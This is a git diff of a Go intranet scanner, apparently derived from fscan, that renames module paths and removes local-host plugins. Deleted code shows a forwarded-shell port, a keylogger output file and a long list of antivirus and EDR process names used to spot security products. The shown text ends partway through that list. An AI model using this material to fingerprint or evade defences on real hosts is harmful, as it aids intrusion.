sendChannelJoinRequest(channelId uint16) { - glog.Debug("mcs sendChannelJoinRequest", channelId) - buff := &bytes.Buffer{} - writeMCSPDUHeader(CHANNEL_JOIN_REQUEST, 0, buff) - per.WriteInteger16(c.userId-MCS_USERCHANNEL_BASE, buff) - per.WriteInteger16(channelId, buff) - c.transport.Write(buff.Bytes()) -} - -func (c *MCSClient) recvData(s []byte) { - glog.Trace("msc on data recvData:", hex.EncodeToString(s)) - - r := bytes.NewReader(s) - option, err := core.ReadUInt8(r) - if err != nil { - c.Emit("error", err) - return - } - - if readMCSPDUHeader(option, DISCONNECT_PROVIDER_ULTIMATUM) { - c.Emit("error", errors.New("MCS DISCONNECT_PROVIDER_ULTIMATUM")) - c.transport.Close() - return - } else if !readMCSPDUHeader(option, c.recvOpCode) { - c.Emit("error", errors.New("Invalid expected MCS opcode receive data")) - return - } - - userId, _ := per.ReadInteger16(r) - userId += MCS_USERCHANNEL_BASE - - channelId, _ := per.ReadInteger16(r) - per.ReadEnumerates(r) - size, _ := per.ReadLength(r) - // channel ID doesn't match a requested layer - found := false - channelName := "" - for _, channel := range c.channels { - if channel.ID == channelId { - found = true - channelName = channel.Name - break - } - } - if !found { - glog.Error("mcs receive data for an unconnected layer") - return - } - left, err := core.ReadBytes(int(size), r) - if err != nil { - c.Emit("error", errors.New(fmt.Sprintf("mcs recvData get data error %v", err))) - return - } - glog.Debugf("mcs emit channel<%s>", channelName) - c.Emit("sec", channelName, left) -} - -func (c *MCSClient) recvChannelJoinConfirm(s []byte) { - glog.Debug("mcs recvChannelJoinConfirm", hex.EncodeToString(s)) - r := bytes.NewReader(s) - option, err := core.ReadUInt8(r) - if err != nil { - c.Emit("error", err) - return - } - - if !readMCSPDUHeader(option, CHANNEL_JOIN_CONFIRM) { - c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_WAIT_CHANNEL_JOIN_CONFIRM")) - return - } - - confirm, _ := per.ReadEnumerates(r) - userId, _ := per.ReadInteger16(r) - userId += MCS_USERCHANNEL_BASE - - if c.userId != userId { - c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_INVALID_USER_ID")) - return - } - - channelId, _ := per.ReadInteger16(r) - if (confirm != 0) && (channelId == uint16(MCS_GLOBAL_CHANNEL_ID) || channelId == c.userId) { - c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_SERVER_MUST_CONFIRM_STATIC_CHANNEL")) - return - } - glog.Debug("Confirm channelId:", channelId) - if confirm == 0 { - for i := 0; i < int(c.serverNetworkData.ChannelCount); i++ { - if channelId == c.serverNetworkData.ChannelIdArray[i] { - var t MCSChannelInfo - t.ID = channelId - t.Name = string(c.clientNetworkData.ChannelDefArray[i].Name[:]) - c.channels = append(c.channels, t) - } - } - } - c.channelsConnected++ - c.connectChannels() -} - -func (c *MCSClient) Pack(data []byte, channelId uint16) []byte { - buff := &bytes.Buffer{} - writeMCSPDUHeader(c.sendOpCode, 0, buff) - per.WriteInteger16(c.userId-MCS_USERCHANNEL_BASE, buff) - per.WriteInteger16(channelId, buff) - core.WriteUInt8(0x70, buff) - per.WriteLength(len(data), buff) - core.WriteBytes(data, buff) - glog.Trace("MCSClient write", channelId, ":", hex.EncodeToString(buff.Bytes())) - return buff.Bytes() -} - -func (c *MCSClient) Write(data []byte) (n int, err error) { - data = c.Pack(data, c.channels[0].ID) - return c.transport.Write(data) -} - -func (c *MCSClient) SendToChannel(channel string, data []byte) (n int, err error) { - channelId := c.channels[0].ID - for _, ch := range c.channels { - if channel == ch.Name { - channelId = ch.ID - break - } - } - - data = c.Pack(data, channelId) - return c.transport.Write(data) -} diff --git a/libs/grdp/protocol/t125/per/per.go b/libs/grdp/protocol/t125/per/per.go index b4cc67b5..d23235be 100644 --- a/libs/grdp/protocol/t125/per/per.go +++ b/libs/grdp/protocol/t125/per/per.go @@ -4,9 +4,9 @@ import ( "bytes" "io" - "github.com/shadow1ng/fscan/libs/grdp/glog" + "scanner/libs/grdp/glog" - "github.com/shadow1ng/fscan/libs/grdp/core" + "scanner/libs/grdp/core" ) func ReadEnumerates(r io.Reader) (uint8, error) { diff --git a/libs/grdp/protocol/tpkt/tpkt.go b/libs/grdp/protocol/tpkt/tpkt.go index 51d53b82..61982266 100644 --- a/libs/grdp/protocol/tpkt/tpkt.go +++ b/libs/grdp/protocol/tpkt/tpkt.go @@ -9,10 +9,10 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/emission" - "github.com/shadow1ng/fscan/libs/grdp/glog" - "github.com/shadow1ng/fscan/libs/grdp/protocol/nla" + "scanner/libs/grdp/core" + "scanner/libs/grdp/emission" + "scanner/libs/grdp/glog" + "scanner/libs/grdp/protocol/nla" ) // take idea from https://github.com/Madnikulin50/gordp diff --git a/libs/grdp/protocol/x224/x224.go b/libs/grdp/protocol/x224/x224.go index 05f52150..f5499829 100644 --- a/libs/grdp/protocol/x224/x224.go +++ b/libs/grdp/protocol/x224/x224.go @@ -6,12 +6,12 @@ import ( "errors" "fmt" - "github.com/shadow1ng/fscan/libs/grdp/glog" + "scanner/libs/grdp/glog" "github.com/lunixbochs/struc" - "github.com/shadow1ng/fscan/libs/grdp/core" - "github.com/shadow1ng/fscan/libs/grdp/emission" - "github.com/shadow1ng/fscan/libs/grdp/protocol/tpkt" + "scanner/libs/grdp/core" + "scanner/libs/grdp/emission" + "scanner/libs/grdp/protocol/tpkt" ) // take idea from https://github.com/Madnikulin50/gordp diff --git a/main_cli.go b/main_cli.go index 06bd370a..c03c5b0f 100644 --- a/main_cli.go +++ b/main_cli.go @@ -1,5 +1,3 @@ -//go:build !web - package main import ( @@ -8,15 +6,14 @@ import ( "os/signal" "syscall" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/debug" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/core" + "scanner/common" + "scanner/common/debug" + "scanner/common/i18n" + "scanner/core" // 导入统一插件系统 - _ "github.com/shadow1ng/fscan/plugins/local" - _ "github.com/shadow1ng/fscan/plugins/services" - _ "github.com/shadow1ng/fscan/plugins/web" + _ "scanner/plugins/services" + _ "scanner/plugins/web" ) func main() { diff --git a/main_web.go b/main_web.go deleted file mode 100644 index d9df403a..00000000 --- a/main_web.go +++ /dev/null @@ -1,33 +0,0 @@ -//go:build web - -package main - -import ( - "flag" - "fmt" - "os" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/web" - - // 导入统一插件系统 - _ "github.com/shadow1ng/fscan/plugins/local" - _ "github.com/shadow1ng/fscan/plugins/services" - _ "github.com/shadow1ng/fscan/plugins/web" -) - -func main() { - port := flag.Int("port", 10240, "Web server listen port") - lang := flag.String("lang", "zh", "Language (zh/en)") - flag.Parse() - - i18n.SetLanguage(*lang) - - fmt.Printf("fscan web v%s\n", common.GetVersion()) - - if err := web.StartServer(*port); err != nil { - fmt.Fprintf(os.Stderr, "Error: %v\n", err) - os.Exit(1) - } -} diff --git a/pkg/fscan/README.md b/pkg/fscan/README.md index 4eb77774..7897733b 100644 --- a/pkg/fscan/README.md +++ b/pkg/fscan/README.md @@ -5,7 +5,7 @@ ## Quick Start ```go -import fscan "github.com/shadow1ng/fscan/pkg/fscan" +import fscan "scanner/pkg/fscan" scanner := fscan.NewScanner(fscan.Config{ Timeout: 3 * time.Second, diff --git a/pkg/fscan/controller.go b/pkg/fscan/controller.go index 0506e0f9..4ac79381 100644 --- a/pkg/fscan/controller.go +++ b/pkg/fscan/controller.go @@ -6,7 +6,7 @@ import ( "sync/atomic" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) // ScanController provides pause/resume control and live stats for an @@ -72,7 +72,14 @@ func (c *ScanController) Stats() ScanStats { states := c.states c.stateMu.Unlock() - stats := ScanStats{Duration: time.Since(c.start)} + duration := time.Since(c.start) + // Windows can report zero for two reads within the same clock tick. A + // controller is already running once it is observable, so expose the + // smallest positive duration instead of a misleading zero value. + if duration <= 0 { + duration = time.Nanosecond + } + stats := ScanStats{Duration: duration} for _, s := range states { stats.TasksTotal += s.GetEnd() stats.TasksCompleted += s.GetNum() diff --git a/pkg/fscan/result_test.go b/pkg/fscan/result_test.go index e9401a98..6bd53c5d 100644 --- a/pkg/fscan/result_test.go +++ b/pkg/fscan/result_test.go @@ -5,7 +5,7 @@ import ( "math" "testing" - "github.com/shadow1ng/fscan/common/output" + "scanner/common/output" ) func TestResultHelpers(t *testing.T) { diff --git a/pkg/fscan/scanner.go b/pkg/fscan/scanner.go index c5845f63..f0685c7e 100644 --- a/pkg/fscan/scanner.go +++ b/pkg/fscan/scanner.go @@ -9,16 +9,15 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common" - commonconfig "github.com/shadow1ng/fscan/common/config" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/output" - "github.com/shadow1ng/fscan/core" - "github.com/shadow1ng/fscan/plugins" - - _ "github.com/shadow1ng/fscan/plugins/local" - _ "github.com/shadow1ng/fscan/plugins/services" - _ "github.com/shadow1ng/fscan/plugins/web" + "scanner/common" + commonconfig "scanner/common/config" + "scanner/common/i18n" + "scanner/common/output" + "scanner/core" + "scanner/plugins" + + _ "scanner/plugins/services" + _ "scanner/plugins/web" ) var defaultSafePlugins = []string{ @@ -117,7 +116,7 @@ func IsSafePlugin(name string) bool { if name == "" || !plugins.Exists(name) { return false } - return plugins.IsSafe(name) && !hasPluginCapability(name, PluginCapabilityPOC, PluginCapabilityLocalEffect) + return plugins.IsSafe(name) && !hasPluginCapability(name, PluginCapabilityPOC) } // PluginCapabilities returns the SDK-facing behavior classes for a plugin. @@ -402,47 +401,45 @@ func buildFlagVars(config Config, target Target) *common.FlagVars { } return &common.FlagVars{ - Host: strings.TrimSpace(target.Host), - Ports: formatPorts(ports), - ScanMode: formatPlugins(config), - ThreadNum: threadNum, - ModuleThreadNum: moduleThreads, - TimeoutSec: timeout, - GlobalTimeout: 180, - DisablePing: config.DisablePing, - DisableTcpProbe: config.DisableTCPProbe, - DisableSubnetProbe: config.DisableSubnetProbe, - AliveOnly: false, - DisableBrute: config.DisableBrute, - MaxRetries: maxRetries, - Username: strings.Join(config.Usernames, ","), - Password: strings.Join(config.Passwords, ","), - Domain: config.Domain, - SSHKeyPath: config.SSHKeyPath, - TargetURL: strings.TrimSpace(target.URL), - WebTimeout: webTimeout, - MaxRedirects: maxRedirects, - HTTPProxy: config.HTTPProxy, - Socks5Proxy: config.Socks5Proxy, - Iface: config.Interface, - PocPath: config.POCPath, - PocName: config.POCName, - PocFull: config.POCFull, - PocNum: pocConcurrency, - DisablePocScan: config.DisablePOCScan, - PacketRateLimit: config.PacketRateLimit, - MaxPacketCount: config.MaxPacketCount, - ICMPRate: icmpRate, - Outputfile: "result.txt", - OutputFormat: "txt", - DisableSave: true, - Silent: true, - NoColor: true, - LogLevel: common.LogLevelError, - DisableProgress: true, - Language: language, - ForwardShellPort: 4444, - KeyloggerOutputFile: "keylog.txt", + Host: strings.TrimSpace(target.Host), + Ports: formatPorts(ports), + ScanMode: formatPlugins(config), + ThreadNum: threadNum, + ModuleThreadNum: moduleThreads, + TimeoutSec: timeout, + GlobalTimeout: 180, + DisablePing: config.DisablePing, + DisableTcpProbe: config.DisableTCPProbe, + DisableSubnetProbe: config.DisableSubnetProbe, + AliveOnly: false, + DisableBrute: config.DisableBrute, + MaxRetries: maxRetries, + Username: strings.Join(config.Usernames, ","), + Password: strings.Join(config.Passwords, ","), + Domain: config.Domain, + SSHKeyPath: config.SSHKeyPath, + TargetURL: strings.TrimSpace(target.URL), + WebTimeout: webTimeout, + MaxRedirects: maxRedirects, + HTTPProxy: config.HTTPProxy, + Socks5Proxy: config.Socks5Proxy, + Iface: config.Interface, + PocPath: config.POCPath, + PocName: config.POCName, + PocFull: config.POCFull, + PocNum: pocConcurrency, + DisablePocScan: config.DisablePOCScan, + PacketRateLimit: config.PacketRateLimit, + MaxPacketCount: config.MaxPacketCount, + ICMPRate: icmpRate, + Outputfile: "result.txt", + OutputFormat: "txt", + DisableSave: true, + Silent: true, + NoColor: true, + LogLevel: common.LogLevelError, + DisableProgress: true, + Language: language, } } @@ -482,8 +479,8 @@ func normalizePlugins(pluginNames []string) []string { } func pluginTypes(name string) []string { - types := make([]string, 0, 4) - for _, pluginType := range []string{PluginTypeService, PluginTypeWeb, PluginTypeLocal, PluginTypeUDP} { + types := make([]string, 0, 3) + for _, pluginType := range []string{PluginTypeService, PluginTypeWeb, PluginTypeUDP} { if plugins.HasType(name, pluginType) { types = append(types, pluginType) } @@ -514,10 +511,6 @@ func pluginCapabilities(name string) []string { if activePOCPlugins[name] || strings.Contains(name, "poc") { add(PluginCapabilityPOC) } - if plugins.HasType(name, PluginTypeLocal) { - add(PluginCapabilityLocalEffect) - } - capabilities := make([]string, 0, len(capSet)) for capability := range capSet { capabilities = append(capabilities, capability) diff --git a/pkg/fscan/scanner_test.go b/pkg/fscan/scanner_test.go index 5d5a827c..64454836 100644 --- a/pkg/fscan/scanner_test.go +++ b/pkg/fscan/scanner_test.go @@ -10,9 +10,9 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" - commonconfig "github.com/shadow1ng/fscan/common/config" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common" + commonconfig "scanner/common/config" + "scanner/common/i18n" ) func TestBuildFlagVarsDefaults(t *testing.T) { diff --git a/pkg/fscan/types.go b/pkg/fscan/types.go index 02428a73..09589ca9 100644 --- a/pkg/fscan/types.go +++ b/pkg/fscan/types.go @@ -7,8 +7,6 @@ import ( const ( // PluginTypeWeb marks web-facing plugins. PluginTypeWeb = "web" - // PluginTypeLocal marks plugins that operate on the local host. - PluginTypeLocal = "local" // PluginTypeService marks network service plugins. PluginTypeService = "service" // PluginTypeUDP marks UDP protocol plugins that bypass TCP port scanning. @@ -24,8 +22,6 @@ const ( PluginCapabilityBrute = "brute" // PluginCapabilityPOC marks active vulnerability checks or exploitation. PluginCapabilityPOC = "poc" - // PluginCapabilityLocalEffect marks plugins that change or inspect local host state. - PluginCapabilityLocalEffect = "local-effect" ) const ( diff --git a/plugins/init.go b/plugins/init.go index 2686d688..47145ecc 100644 --- a/plugins/init.go +++ b/plugins/init.go @@ -5,7 +5,7 @@ import ( "strings" "sync" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) // Plugin 统一插件接口 @@ -90,7 +90,6 @@ type PluginInfo struct { // 插件类型常量 const ( PluginTypeWeb = "web" // Web类型插件 - PluginTypeLocal = "local" // 本地类型插件 PluginTypeService = "service" // 服务类型插件 PluginTypeUDP = "udp" // UDP协议插件,跳过TCP端口扫描 ) @@ -100,24 +99,6 @@ var ( mutex sync.RWMutex ) -func init() { - common.IsLocalMode = func(mode string) bool { - if mode == "" || mode == "all" { - return false - } - for _, name := range strings.Split(mode, ",") { - name = strings.TrimSpace(name) - if name == "" { - continue - } - if !HasType(name, PluginTypeLocal) { - return false - } - } - return true - } -} - // RegisterWithPorts 注册带端口信息的插件 func RegisterWithPorts(name string, factory func() Plugin, ports []int) { RegisterWithTypes(name, factory, ports, []string{PluginTypeService}) @@ -135,7 +116,7 @@ func IsUDP(pluginName string) bool { // RegisterWithTypes 注册带类型标签的插件 func RegisterWithTypes(name string, factory func() Plugin, ports []int, types []string) { - RegisterWithOptions(name, factory, ports, types, !hasPluginType(types, PluginTypeLocal)) + RegisterWithOptions(name, factory, ports, types, true) } // RegisterUnsafeWithTypes 注册不适合默认嵌入式扫描的插件。 diff --git a/plugins/init_test.go b/plugins/init_test.go index 5ef3e1dc..562e1784 100644 --- a/plugins/init_test.go +++ b/plugins/init_test.go @@ -4,8 +4,8 @@ import ( "context" "testing" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/config" + "scanner/common" + "scanner/common/config" ) /* @@ -61,9 +61,6 @@ func TestPluginRegistryMetadata(t *testing.T) { RegisterUDPWithPorts("unit_udp", func() Plugin { return testPlugin{BasePlugin: NewBasePlugin("unit_udp")} }, []int{161}) - RegisterWithTypes("unit_local", func() Plugin { - return testPlugin{BasePlugin: NewBasePlugin("unit_local")} - }, nil, []string{PluginTypeLocal}) RegisterUnsafeWithTypes("unit_unsafe_web", func() Plugin { return testPlugin{BasePlugin: NewBasePlugin("unit_unsafe_web")} }, nil, []string{PluginTypeWeb}) @@ -77,13 +74,13 @@ func TestPluginRegistryMetadata(t *testing.T) { if got := Get("missing_plugin"); got != nil { t.Fatalf("Get(missing_plugin) = %#v, want nil", got) } - if !HasType("unit_tcp", PluginTypeService) || !HasType("unit_local", PluginTypeLocal) { + if !HasType("unit_tcp", PluginTypeService) { t.Fatal("registered plugin types were not recorded") } if !IsUDP("unit_udp") || IsUDP("unit_tcp") { t.Fatal("UDP metadata is wrong") } - if !IsSafe("unit_tcp") || IsSafe("unit_local") || IsSafe("unit_unsafe_web") || IsSafe("missing_plugin") { + if !IsSafe("unit_tcp") || IsSafe("unit_unsafe_web") || IsSafe("missing_plugin") { t.Fatal("safe metadata is wrong") } @@ -94,43 +91,19 @@ func TestPluginRegistryMetadata(t *testing.T) { if got := GetPluginPorts("missing_plugin"); len(got) != 0 { t.Fatalf("missing plugin ports = %#v, want empty", got) } - if !hasPluginType([]string{PluginTypeWeb, PluginTypeLocal}, PluginTypeLocal) || + if !hasPluginType([]string{PluginTypeWeb, PluginTypeUDP}, PluginTypeUDP) || hasPluginType([]string{PluginTypeWeb}, PluginTypeUDP) { t.Fatal("hasPluginType returned wrong result") } names := All() - for _, want := range []string{"unit_tcp", "unit_udp", "unit_local", "unit_unsafe_web"} { + for _, want := range []string{"unit_tcp", "unit_udp", "unit_unsafe_web"} { if !containsPluginName(names, want) { t.Fatalf("All() missing %q in %#v", want, names) } } } -func TestPluginLocalModeHook(t *testing.T) { - preservePluginRegistry(t) - - RegisterWithTypes("unit_local_mode", func() Plugin { - return testPlugin{BasePlugin: NewBasePlugin("unit_local_mode")} - }, nil, []string{PluginTypeLocal}) - RegisterWithPorts("unit_service_mode", func() Plugin { - return testPlugin{BasePlugin: NewBasePlugin("unit_service_mode")} - }, []int{22}) - - if common.IsLocalMode == nil { - t.Fatal("IsLocalMode hook should be installed") - } - if !common.IsLocalMode("unit_local_mode") { - t.Fatal("single local plugin should be local mode") - } - if !common.IsLocalMode("unit_local_mode, unit_local_mode") { - t.Fatal("local plugin list should be local mode") - } - if common.IsLocalMode("") || common.IsLocalMode("all") || common.IsLocalMode("unit_local_mode,unit_service_mode") { - t.Fatal("non-local modes should not be local mode") - } -} - func containsPluginName(values []string, want string) bool { for _, value := range values { if value == want { diff --git a/plugins/local/auto.json b/plugins/local/auto.json deleted file mode 100644 index 4eb1ffcc..00000000 --- a/plugins/local/auto.json +++ /dev/null @@ -1,2163 +0,0 @@ -{ - "ALYac": { - "processes": [ - "aylaunch.exe", - "ayupdate2.exe", - "AYRTSrv.exe", - "AYAgent.exe" - ], - "url": "https://en.estsecurity.com/" - }, - "AVG": { - "processes": [ - "AVGSvc.exe", - "AVGUI.exe", - "avgwdsvc.exe", - "avg.exe", - "avgaurd.exe", - "avgemc.exe", - "avgrsx.exe", - "avgserv.exe", - "avgw.exe" - ], - "url": "https://www.avg.com/" - }, - "Acronis": { - "processes": [ - "arsm.exe", - "acronis_license_service.exe" - ], - "url": "https://www.acronis.com/" - }, - "Ad-Aware": { - "processes": [ - "AdAwareService.exe", - "Ad-Aware.exe", - "AdAware.exe" - ], - "url": "https://www.adaware.com/" - }, - "AhnLab-V3": { - "processes": [ - "patray.exe", - "V3Svc.exe" - ], - "url": "https://global.ahnlab.com/site/main.do" - }, - "Arcabit": { - "processes": [ - "arcavir.exe", - "arcadc.exe", - "ArcaVirMaster.exe", - "ArcaMainSV.exe", - "ArcaTasksService.exe" - ], - "url": "https://www.arcabit.pl" - }, - "Avast": { - "processes": [ - "ashDisp.exe", - "AvastUI.exe", - "AvastSvc.exe", - "AvastBrowser.exe", - "AfwServ.exe" - ], - "url": "https://www.avast.com" - }, - "Avira AntiVirus(小红伞)": { - "processes": [ - "avcenter.exe", - "avguard.exe", - "avgnt.exe", - "sched.exe" - ], - "url": "https://www.avira.com/" - }, - "Baidu AntiVirus": { - "processes": [ - "BaiduSdSvc.exe", - "BaiduSdTray.exe", - "BaiduSd.exe", - "bddownloader.exe", - "baiduansvx.exe" - ], - "url": "https://anquan.baidu.com/" - }, - "BitDefender": { - "processes": [ - "Bdagent.exe", - "BitDefenderCom.exe", - "vsserv.exe", - "bdredline.exe", - "secenter.exe", - "bdservicehost.exe", - "BITDEFENDER.exe" - ], - "url": "http://www.bitdefender.com/" - }, - "Bkav": { - "processes": [ - "BKavService.exe", - "Bka.exe", - "BkavUtil.exe", - "BLuPro.exe" - ], - "url": "https://www.bkav.com/" - }, - "CAT-QuickHeal": { - "processes": [ - "QUHLPSVC.exe", - "onlinent.exe", - "sapissvc.exe", - "scanwscs.exe" - ], - "url": "https://www.quickheal.com/" - }, - "CMC": { - "processes": [ - "CMCTrayIcon.exe" - ], - "url": "https://cmccybersecurity.com/" - }, - "ClamAV": { - "processes": [ - "freshclam.exe" - ], - "url": "https://www.clamav.net" - }, - "Comodo": { - "processes": [ - "cpf.exe", - "cavwp.exe", - "ccavsrv.exe", - "cmdvirth.exe" - ], - "url": "https://www.comodo.com" - }, - "CrowdStrike Falcon(猎鹰)": { - "processes": [ - "csfalconservice.exe", - "CSFalconContainer.exe" - ], - "url": "https://www.crowdstrike.com" - }, - "Cybereason": { - "processes": [ - "CybereasonRansomFree.exe", - "CybereasonRansomFreeServiceHost.exe", - "CybereasonAV.exe" - ], - "url": "https://www.cybereason.com/" - }, - "Cylance": { - "processes": [ - "CylanceSvc.exe" - ], - "url": "https://www.cylance.com" - }, - "Cyren": { - "processes": [ - "vsedsps.exe", - "vseamps.exe", - "vseqrts.exe" - ], - "url": "http://www.cyren.com/" - }, - "DrWeb": { - "processes": [ - "drwebcom.exe", - "spidernt.exe", - "drwebscd.exe", - "drweb32w.exe", - "dwengine.exes" - ], - "url": "https://www.drweb.com/" - }, - "Elastic Security": { - "processes": [ - "elastic-endpoint.exe", - "elastic-agent.exe", - "agentbeat.exe", - "winlogbeat.exe" - ], - "url": "https://www.elastic.co/endpoint-detection-response" - }, - "ESET-NOD32": { - "processes": [ - "egui.exe", - "ecls.exe", - "ekrn.exe", - "eguiProxy.exe", - "EShaSrv.exe" - ], - "url": "https://www.eset.com/us/home/antivirus/" - }, - "Trend Micro(趋势科技)": { - "processes": [ - "tmpfw.exe", - "tmlisten.exe", - "coreServiceShell.exe", - "coreFrameworkHost.exe", - "uiWatchDog.exe", - "TMLISTEN.exe" - ], - "url": "https://www.trendmicro.com" - }, - "Emsisoft": { - "processes": [ - "a2guard.exe", - "a2free.exe", - "a2service.exe" - ], - "url": "https://www.emsisoft.com/" - }, - "Endgame": { - "processes": [ - "endgame.exe" - ], - "url": "https://www.endgame.com/" - }, - "F-Prot": { - "processes": [ - "F-PROT.exe", - "FProtTray.exe", - "FPAVServer.exe", - "f-stopw.exe", - "f-prot95.exe", - "f-agnt95.exe" - ], - "url": "http://f-prot.com/" - }, - "F-Secure": { - "processes": [ - "f-secure.exe", - "fssm32.exe", - "Fsorsp64.exe", - "fsavgui.exe", - "fameh32.exe", - "fch32.exe", - "fih32.exe", - "fnrb32.exe", - "fsav32.exe", - "fsma32.exe", - "fsmb32.exe" - ], - "url": "https://www.f-secure.com" - }, - "FireEye(火眼)": { - "processes": [ - "xagtnotif.exe", - "xagt.exe" - ], - "url": "https://www.fireeye.com" - }, - "Trellix EDR(McAfee && 火眼)": { - "processes": [ - "macmnsvc.exe", - "macompatsvc.exe", - "masvc.exe", - "mcshield.exe", - "mctray.exe", - "mfeatp.exe", - "mfeensppl.exe", - "mfeesp.exe", - "mfefw.exe", - "mfehcs.exe", - "mfemactl.exe", - "mfemms.exe", - "mfetp.exe", - "mfevtps.exe", - "mfewch.exe", - "updaterui.exe" - ], - "url": "https://www.trellix.com" - }, - "Fortinet(飞塔)": { - "processes": [ - "FortiClient.exe", - "FortiTray.exe", - "FortiScand.exe", - "FortiWF.exe", - "FortiProxy.exe", - "FortiESNAC.exe", - "FortiSSLVPNdaemon.exe", - "FortiTcs.exe", - "FctSecSvr.exe" - ], - "url": "https://fortiguard.com/" - }, - "GData": { - "processes": [ - "AVK.exe", - "avkcl.exe", - "avkpop.exe", - "avkservice.exe", - "GDScan.exe", - "AVKWCtl.exe", - "AVKProxy.exe", - "AVKBackupService.exe" - ], - "url": "https://www.gdatasoftware.com/" - }, - "Ikarus": { - "processes": [ - "guardxservice.exe", - "guardxkickoff.exe" - ], - "url": "https://www.ikarussecurity.com/" - }, - "Jiangmin": { - "processes": [ - "KVFW.exe", - "KVsrvXP.exe", - "KVMonXP.exe", - "KVwsc.exe" - ], - "url": "https://www.jiangmin.com/" - }, - "K7AntiVirus": { - "processes": [ - "K7TSecurity.exe", - "K7TSMain.Exe", - "K7TSUpdT.exe" - ], - "url": "http://viruslab.k7computing.com/" - }, - "Kaspersky(卡巴斯基)": { - "processes": [ - "avp.exe", - "avpcc.exe", - "avpm.exe", - "kavpf.exe", - "kavfs.exe", - "klnagent.exe", - "kavtray.exe", - "kavfswp.exe", - "kaspersky.exe" - ], - "url": "https://www.kaspersky.com" - }, - "Max Secure Software": { - "processes": [ - "SDSystemTray.exe", - "MaxRCSystemTray.exe", - "RCSystemTray.exe", - "MaxAVPlusDM.exe", - "LiveUpdateSD.exe" - ], - "url": "https://www.maxpcsecure.com/" - }, - "Malwarebytes": { - "processes": [ - "MBAMService.exe", - "mbam.exe", - "mbamtray.exe" - ], - "url": "https://www.malwarebytes.com/" - }, - "McAfee(迈克菲-可能为Trellix)": { - "processes": [ - "Mcshield.exe", - "Tbmon.exe", - "Frameworkservice.exe", - "firesvc.exe", - "firetray.exe", - "hipsvc.exe", - "mfevtps.exe", - "mcafeefire.exe", - "shstat.exe", - "vstskmgr.exe", - "engineserver.exe", - "alogserv.exe", - "avconsol.exe", - "cmgrdian.exe", - "cpd.exe", - "mcmnhdlr.exe", - "mcvsshld.exe", - "mcvsrte.exe", - "mghtml.exe", - "mpfservice.exe", - "mpfagent.exe", - "mpftray.exe", - "vshwin32.exe", - "vsstat.exe", - "guarddog.exe", - "mfeann.exe", - "udaterui.exe", - "naprdmgr.exe", - "mctray.exe", - "fcagate.exe", - "fcag.exe", - "fcags.exe", - "fcagswd.exe", - "macompatsvc.exe", - "masvc.exe", - "mcamnsvc.exe", - "mctary.exe", - "mfecanary.exe", - "mfeconsole.exe", - "mfeesp.exe", - "mfefire.exe", - "mfefw.exe", - "mfemms.exe", - "mfetp.exe", - "mfewc.exe", - "mfewch.exe" - ], - "url": "https://www.mcafee.com/en-us" - }, - "Microsoft Defender(Windows Defender)": { - "processes": [ - "MsMpEng.exe", - "msseces.exe", - "mssecess.exe", - "emet_agent.exe", - "emet_service.exe", - "drwatson.exe", - "MpCmdRun.exe", - "NisSrv.exe", - "MsSense.exe", - "MSASCui.exe", - "MSASCuiL.exe", - "SecurityHealthService.exe" - ], - "url": "https://www.microsoft.com/en-us/windows/comprehensive-security" - }, - "NANO-Antivirus": { - "processes": [ - "nanoav.exe", - "nanoav64.exe", - "nanoreport.exe", - "nanoreportc.exe", - "nanoreportc64.exe", - "nanorst.exe", - "nanosvc.exe" - ], - "url": "https://nano-av.com/" - }, - "Palo Alto Networks": { - "processes": [ - "PanInstaller.exe" - ], - "url": "https://www.paloaltonetworks.com/" - }, - "Panda Security": { - "processes": [ - "remupd.exe", - "apvxdwin.exe", - "pavproxy.exe", - "pavsched.exe" - ], - "url": "https://www.pandasecurity.com/" - }, - "Qihoo-360": { - "processes": [ - "360sd.exe", - "360tray.exe", - "ZhuDongFangYu.exe", - "360rp.exe", - "360rps.exe", - "360safe.exe", - "360safebox.exe", - "QHActiveDefense.exe", - "360skylarsvc.exe", - "LiveUpdate360.exe" - ], - "url": "https://sd.360.cn/" - }, - "Rising": { - "processes": [ - "RavMonD.exe", - "rfwmain.exe", - "RsMgrSvc.exe", - "RavMon.exe" - ], - "url": "http://antivirus.rising.com.cn/" - }, - "SUPERAntiSpyware": { - "processes": [ - "superantispyware.exe", - "sascore.exe", - "SAdBlock.exe", - "sabsvc.exe" - ], - "url": "http://www.superadblocker.com/" - }, - "SecureAge APEX": { - "processes": [ - "UniversalAVService.exe", - "EverythingServer.exe", - "clamd.exe" - ], - "url": "https://www.secureage.com/" - }, - "Sophos AV": { - "processes": [ - "SavProgress.exe", - "icmon.exe", - "SavMain.exe", - "SophosUI.exe", - "SophosFS.exe", - "SophosHealth.exe", - "SophosSafestore64.exe", - "SophosCleanM.exe", - "SophosFileScanner.exe", - "SophosNtpService.exe", - "SophosOsquery.exe", - "Sophos UI.exe" - ], - "url": "https://www.sophos.com/" - }, - "TACHYON": { - "processes": [], - "url": "https://www.tachyonlab.com/en/index.html" - }, - "Tencent": { - "processes": [ - "QQPCRTP.exe", - "QQPCTray.exe", - "QQPCMgr.exe", - "QQPCNetFlow.exe", - "QQPCRealTimeSpeedup.exe" - ], - "url": "https://guanjia.qq.com" - }, - "TotalDefense": { - "processes": [ - "AMRT.exe", - "SWatcherSrv.exe", - "Prd.ManagementConsole.exe" - ], - "url": "https://www.totaldefense.com" - }, - "Trapmine": { - "processes": [ - "TrapmineEnterpriseService.exe", - "TrapmineEnterpriseConfig.exe", - "TrapmineDeployer.exe", - "TrapmineUpgradeService.exe" - ], - "url": "https://trapmine.com/" - }, - "TrendMicro": { - "processes": [ - "TMBMSRV.exe", - "ntrtscan.exe", - "Pop3Trap.exe", - 